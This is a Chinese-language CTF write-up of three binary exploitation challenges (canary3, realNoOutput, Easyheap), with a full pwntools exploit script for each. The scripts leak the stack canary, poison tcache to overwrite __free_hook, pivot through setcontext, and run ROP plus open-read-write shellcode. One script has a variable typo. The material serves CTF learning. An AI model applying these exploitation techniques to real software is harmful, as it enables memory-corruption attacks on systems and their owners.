canary3

看了wp才知道这个程序在干嘛。。。
先对输入进行一个md5加密
输入经加密得到的密文与程序的密文用strcmp比较,通过则继续程序

这里如果输入了0x20个字节,会造成一个null字节的溢出
用来比较的密文的第一个字节被覆盖为'\x00'

所以如果能够让输入被加密后开头也是'\x00',就能绕过strcmp
gB经MD5加密后就会得到00

后续就是简单了,两次溢出分别拿到canary和程序基址,然后栈溢出返回到后门即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./canary3')
elf = ELF('./canary3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

r.send('admin\x00')
r.send('gB'.ljust(0x20, '\x00'))
r.recvuntil('canary?')
r.sendline('2')

r.send('a'*(0x20-0x8)+'a')
r.sendline('1')
r.recvuntil('a'*0x19)
canary = u64(r.recv(7).ljust(8, '\x00'))<<8
print hex(canary)
r.sendline('2')
payload = 'a'*0x20
r.send(payload)
r.sendline('1')
r.recvuntil('a'*0x20)
data = u64(r.recv(6).ljust(8, '\x00'))
print hex(data)
back = (data&0xfffffffff000)+0x39f
print hex(back)
r.sendline('2')
r.send('a'*(0x20-0x8)+p64(canary)+'a'*0x8+p64(ba))
r.sendline('3')

r.interactive()

realNoOutput

这题在看了wp后才明白,学到了一种新的造成uaf的方式

题目

开头有段汇编没有识别出了,修复后是常规的setbuf,并保存了一个堆地址

add

分配了8个堆指针和大小存储用的空间

然而一共可以malloc10个chunk(0~9)
于是申请第8个chunk时,size写在第0个chunk的指针处

delete

delete时会把指针free了并置0,但是不会清除原来的size
而当free的对象不是指针也不是0时,程序仅仅只是不进入if语句中对ptr赋值,但仍然会free(ptr),而这里的ptr实际上是栈上残留下来的指针,对应上一次delete的指针

edit

函数sub_12B3将指针与一开始申请的一个堆指针进行比较,地址大于它才能进行写入,也就是禁止了对got表的劫持和对tcache结构体的劫持

show

puts打印堆块内容

思路

结合add中第八个chunk的size会写到第一个chunk的指针处绕过delete中的判断,利用delete中第二次不满足条件时仍然delete上一次残留的指针来构造出uaf,布置后先将该chunk放到unsorted bin中泄露libc

第二次改tcache的fd打freehook就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./realNoOutput')
elf = ELF('./realNoOutput')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc.so.6')

cmd1 = lambda x : r.sendline(str(x))
cmd2 = lambda x : r.send(x)

T = 0.1
def add(idx, size, content='aaaa'):
cmd1(1)
sleep(T)
cmd1(idx)
sleep(T)
cmd1(size)
sleep(T)
cmd2(content)
sleep(T)

def delete(idx):
cmd1(2)
sleep(T)
cmd1(idx)
sleep(T)

def edit(idx, content):
cmd1(3)
sleep(T)
cmd1(idx)
sleep(T)
cmd2(content)

def show(idx):
cmd1(4)
sleep(T)
cmd1(idx)
sleep(T)

for i in range(8):
add(i, 0x100)

for i in range(7):
delete(i)

add(8, 0x100)
delete(0)
add(6, 0x100)
delete(7)
delete(6)

show(8)
data = u64(r.recv(6).ljust(8, b'\x00'))
print (hex(data))
libc.address = data-96-0x10-libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
sys_addr = libc.symbols['system']

for i in range(8):
add(i, 0x100)

delete(0)
delete(8)
edit(7, p64(free_hook))

add(0, 0x100)
add(1, 0x100)
edit(0, "/bin/sh")
edit(1, p64(sys_addr))

delete(0)

r.interactive()

Easyheap

题目

程序开了沙箱同时也开了NX
需要利用到setcontext绕过seccomp

创建时利用strdup函数,该函数会malloc相应字符串大小的空间,然后把字符串内容赋值到堆上。而编辑时能够输入的大小是由手动输入的size确定的,这里就造成了堆溢出。
除此之外没有程序问题。

分析

直接利用堆溢出覆盖掉unsorted bin的chunk头,通过show就能够泄露libc了
环境是2.27的,可以直接利用tcache拿到freehook地址

接下来就要用到setcontext设置上下文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> disass setcontext
Dump of assembler code for function setcontext:
0x00007ffff7a34180 <+0>: push rdi
0x00007ffff7a34181 <+1>: lea rsi,[rdi+0x128]
0x00007ffff7a34188 <+8>: xor edx,edx
0x00007ffff7a3418a <+10>: mov edi,0x2
0x00007ffff7a3418f <+15>: mov r10d,0x8
0x00007ffff7a34195 <+21>: mov eax,0xe
0x00007ffff7a3419a <+26>: syscall
0x00007ffff7a3419c <+28>: pop rdi
0x00007ffff7a3419d <+29>: cmp rax,0xfffffffffffff001
0x00007ffff7a341a3 <+35>: jae 0x7ffff7a34200 <setcontext+128>
0x00007ffff7a341a5 <+37>: mov rcx,QWORD PTR [rdi+0xe0]
0x00007ffff7a341ac <+44>: fldenv [rcx]
0x00007ffff7a341ae <+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
0x00007ffff7a341b5 <+53>: mov rsp,QWORD PTR [rdi+0xa0]
0x00007ffff7a341bc <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007ffff7a341c3 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007ffff7a341c7 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007ffff7a341cb <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007ffff7a341cf <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007ffff7a341d3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007ffff7a341d7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007ffff7a341de <+94>: push rcx
0x00007ffff7a341df <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007ffff7a341e3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007ffff7a341ea <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007ffff7a341f1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007ffff7a341f5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007ffff7a341f9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007ffff7a341fd <+125>: xor eax,eax
0x00007ffff7a341ff <+127>: ret
0x00007ffff7a34200 <+128>: mov rcx,QWORD PTR [rip+0x398c61] # 0x7ffff7dcce68
0x00007ffff7a34207 <+135>: neg eax
0x00007ffff7a34209 <+137>: mov DWORD PTR fs:[rcx],eax
0x00007ffff7a3420c <+140>: or rax,0xffffffffffffffff
0x00007ffff7a34210 <+144>: ret
End of assembler dump.

freehook写入setcontext+53,用这个地址是因为前面setcontext+44处的指令fldenv [rcx]会导致程序直接crash

申请一个堆来存放frame,用SigreturnFrame可以方便地构造ucontext_结构体。这样一来delete这个堆时,其指针会放到rdi中,然后进入setcontext+53执行指令时就能直接对应寄存器赋值
这里我们把frame设置为

1
2
3
4
5
6
7
8
fake_rsp = free_hook&0xfffffffffffff000
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall

注意syscall实际上是syscall+23,syscall作为函数开头有些对寄存器的设置需要跳过,不然就白布置了
这样执行delete后就会执行read(0, fake_rsp, 0x200)
然后输入布置rop执行mrpotect(fake_rsp, 0x1000, 7),后面再跟上指令jmp rsp,然后再跟上orw的shellcode
这样rop结束后就会执行jmp rsp,而rsp正指向orw,从而继续执行orw

exp1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./Easyheap')
#r = remote('node4.buuoj.cn', 26275)
elf = ELF('./Easyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc-2.27.so')

cmd1 = lambda x : r.sendlineafter(':', str(x))
cmd2 = lambda x : r.sendafter(':', x)

def add(size, content):
cmd1(1)
cmd1(size)
cmd2(content)

def delete(idx):
cmd1(2)
cmd1(idx)

def show(idx):
cmd1(3)
cmd1(idx)

def edit(idx, content):
cmd1(4)
cmd1(idx)
cmd2(content)


add(0x500, 'a'*0x10) #0
add(0x500, 'a'*0x500) #1
add(0x500, 'a'*0x10) #2
add(0x500, 'a'*0x10) #3
add(0x500, 'a'*0x10) #4
add(0x500, '/bin/sh\x00') #5

delete(1)
edit(0, 'b'*0x20)
show(0)
r.recvuntil('b'*0x20)
data = u64(r.recv(6).ljust(8, '\x00'))
print hex(data)
libc.address = data-0x3ebca0
print 'libc_base ===> ', hex(libc.address)
edit(0, 'b'*0x10+p64(0)+p64(0x511))
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
set_addr = libc.symbols['setcontext']
syscall = libc.symbols['syscall']+23

fake_rsp = free_hook&0xfffffffffffff000
frame = SigreturnFrame()
frame.rax=0
frame.rdi=0
frame.rsi=fake_rsp
frame.rdx=0x2000
frame.rsp=fake_rsp
frame.rip=syscall

delete(3)
edit(2, 'a'*0x10+p64(0)+p64(0x21)+p64(free_hook))
add(0x500, 'a'*0x10) #
add(0x500, 'a') #3
add(0x500, 'a'*0x500) #unsorted bin 6
edit(3, p64(set_addr+53))
add(0x500, 'a'*0x100) #7
edit(7, str(frame)) #7
#gdb.attach(r)
delete(7)

prdi_ret = libc.search(asm("pop rdi\nret")).next()
prsi_ret = libc.search(asm("pop rsi\nret")).next()
prdx_ret = libc.search(asm("pop rdx\nret")).next()
prax_ret = libc.search(asm("pop rax\nret")).next()
jmp_rsp = libc.search(asm("jmp rsp")).next()
mprotect_addr = libc.sym['mprotect']

payload = p64(prdi_ret)+p64(fake_rsp)
payload += p64(prsi_ret)+p64(0x1000)
payload += p64(prdx_ret)+p64(7)
payload += p64(prax_ret)+p64(10)
payload += p64(syscall) #mprotect(fake_rsp,0x1000,7)
payload += p64(jmp_rsp)
payload += asm(shellcraft.open('flag'))
payload += asm(shellcraft.read(3,fake_rsp+0x300,0x30))
payload += asm(shellcraft.write(1,fake_rsp+0x300,0x30))
r.send(payload)

r.interactive()

exp2

其实题目本身有mmap了一块rwx的区域,且地址固定,可以直接往这里写shellcode然后执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('./Easyheap')
#r = remote('node4.buuoj.cn', 26275)
elf = ELF('./Easyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc = ELF('./libc-2.27.so')

cmd1 = lambda x : r.sendlineafter(':', str(x))
cmd2 = lambda x : r.sendafter(':', x)

def add(size, content):
cmd1(1)
cmd1(size)
cmd2(content)

def delete(idx):
cmd1(2)
cmd1(idx)

def show(idx):
cmd1(3)
cmd1(idx)

def edit(idx, content):
cmd1(4)
cmd1(idx)
cmd2(content)


add(0x500, 'a'*0x10) #0
add(0x500, 'a'*0x500) #1
add(0x500, 'a'*0x10) #2
add(0x500, 'a'*0x10) #3
add(0x500, 'a'*0x20) #4
add(0x500, '/bin/sh\x00') #5

delete(1)
edit(0, 'b'*0x20)
show(0)
r.recvuntil('b'*0x20)
data = u64(r.recv(6).ljust(8, '\x00'))
print hex(data)
libc.address = data-0x3ebca0
print 'libc_base ===> ', hex(libc.address)
edit(0, 'b'*0x10+p64(0)+p64(0x511))
malloc_hook = libc.symbols['__malloc_hook']
free_hook = libc.symbols['__free_hook']
set_addr = libc.symbols['setcontext']
syscall = libc.symbols['syscall']+23

delete(3)
edit(2, 'a'*0x10+p64(0)+p64(0x21)+p64(0x23330000))
add(0x500, 'a'*0x10)
add(0x500, 'a'*0x10) #3
shellcode = '''
push 0x67616c66
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
xor rax, rax
mov rdi, 3
mov rsi, rbp
mov rdx, 0x50
syscall
mov rax, 1
mov rdi, 1
mov rsi, rbp
mov rdx,0x50
syscall
'''

edit(3, asm(shellcode))
delete(4)
edit(1, 'b'*0x10+p64(0)+p64(0x31)+p64(free_hook))
add(0x500, 'a'*0x20)
add(0x500, 'b'*0x20)
edit(6, p64(0x23330000))

delete(6)

r.interactive()